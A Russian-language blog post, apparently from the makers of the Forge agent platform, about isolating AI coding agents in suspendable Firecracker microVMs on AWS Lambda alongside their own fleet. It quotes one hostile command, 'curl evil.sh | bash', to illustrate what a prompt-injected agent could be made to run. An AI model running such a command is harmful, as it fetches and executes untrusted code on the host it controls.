Автономный кодовый агент по своей конструкции — незнакомец, которому вы дали шелл. Он пишет файлы, запускает команды, ставит пакеты и лезет в сеть — от вашего имени и быстрее, чем вы успеваете читать. Вопрос, о который рано или поздно спотыкается любая команда, строящая на агентах, неудобно прост: где вы позволяете этой штуке работать?
В этом месяце ответ индустрии стал заметно чётче. AWS выпустила Lambda MicroVMs — микроVM на Firecracker, сделанные специально для «изолированного исполнения пользовательского и сгенерированного ИИ кода», с приостановкой, автовозобновлением и снапшотом вместе с диском. Через несколько дней мы подключили их в Forge новым сменным бэкендом рантайма. Этот пост — про «почему» и «как», и про то, почему свой парк мы тоже сохранили.
Вся индустрия сошлась на одной границе
Интересно не то, что мы перешли на микроVM. Интересно, что это сделали все — более-менее одновременно. Только за последние две недели Fedora опубликовала руководство по песочнице для кодовых ИИ-агентов на микроVM , а CI-вендоры начали выпускать в прод валидацию с отдельной микроVM на агента.
Рассуждение везде одно и то же: контейнер делит ядро с хостом. Для доверенных нагрузок это нормально. Для агента, которого промпт-инъекцией можно заставить выполнить curl evil.sh | bash, фраза «делит ядро с хостом» должна вызывать беспокойство. МикроVM даёт каждому запуску собственное ядро и аппаратно виртуализованную границу — ту изоляцию, которую контейнер лишь приближает.
Но сложным местом никогда не была сама изоляция. Сложными были стоимость и задержка — и именно тут приостанавливаемые микроVM меняют уравнение.
Настоящая история — арифметика простоя
Работа агента идёт всплесками. Запуск думает, ждёт модель, ждёт инструмент, ждёт человека, который подтвердит шаг, — а потом делает рывок. Если под каждый идущий запуск держать горячей полноценную виртуалку, вы платите в основном за ожидание.
Приостановка с возобновлением переворачивает это. Пока запуск простаивает, микроVM приостанавливается до почти нулевой стоимости простоя и снапшотит свой диск; когда приходит следующий ход, она возобновляется на месте с нетронутым состоянием. CircleCI прикинула масштаб эффекта для валидации агентов: тёплые микросборки за десятки секунд и кратно меньший расход токенов в циклах повторов. Как сформулировала их команда: «К моменту, когда наш CI ловит сбой, агент уже ушёл дальше, и большей части полезного контекста нет». Приостанавливаемые микроVM дёшево паркуют этот контекст вместо того, чтобы жечь деньги на его удержание или выбрасывать его.
Для платформы вроде Forge — которая гоняет множество ролевых агентов (продакт-менеджер, архитектор, разработчик, тестировщик, ревьюер) в множестве параллельных запусков — эта кривая стоимости простоя и есть разница между «изоляцией, которую хотелось бы иметь» и «изоляцией, которую мы реально можем позволить каждому запуску».
Гибрид, а не замена
Вот решение, которым мы гордимся больше всего: бэкенд Lambda MicroVM дополняет, а не мигрирует. У Forge уже есть собственный парк, и он остаётся. Новый бэкенд — сменная опция, на которую диспетчер умеет маршрутизировать: на пике выплёскиваться на приостанавливаемые микроVM, когда нагрузке нужна изоляция посильнее или эластичная ёмкость, и оставаться на своём парке, когда не нужна.
Эта гибридная позиция важна по двум причинам. Во-первых, никакого вендорлока: ровно так же, как Forge маршрутизирует между 7+ провайдерами моделей , чтобы одна авария не положила вас, слой рантайма не должен ставить всю платформу на одну среду исполнения. Во-вторых, честность про зрелость: мы сознательно вводим это по одному бэкенду за раз, а не объявляем одномоментное переключение. Новые облачные примитивы зарабатывают доверие для прода постепенно.
И было бы нечестно делать вид, что изоляция закрывает вопрос безопасности. Есть живой нерешённый спор о том, что микроVM «хорошо решает одну проблему, но не проблему поведения агента»: агент в песочнице по-прежнему может принять плохое решение внутри песочницы. Согласны. Сильная граница необходима, но недостаточна. Поэтому Forge сочетает изоляцию рантайма с тем, что ловит плохое поведение: подтверждения человека перед рискованными шагами, полный воспроизводимый аудиторский след каждого действия и наблюдаемость по каждому ходу — что именно сделал каждый агент. Изоляция — это стена; управляемость — это охрана.
Что из этого следует
Запуск ИИ-агентов в проде больше не про то, сажать ли их в песочницу, — этот спор окончен, и микроVM его выиграли. Он про то, как делать это не разорившись и не заперев себя у одного вендора. Приостанавливаемые микроVM решают половину про стоимость. Гибридный сменный рантайм решает половину про вендорлок. А аудит, подтверждения и наблюдаемость сверху — то, что превращает «изолированный» в «заслуживающий доверия».
Forge строится открыто — включая бэкенды рантайма. Если вы бьётесь над тем, где гонять собственных агентов, приходите посмотреть, как это делаем мы или почитайте исходники на GitHub .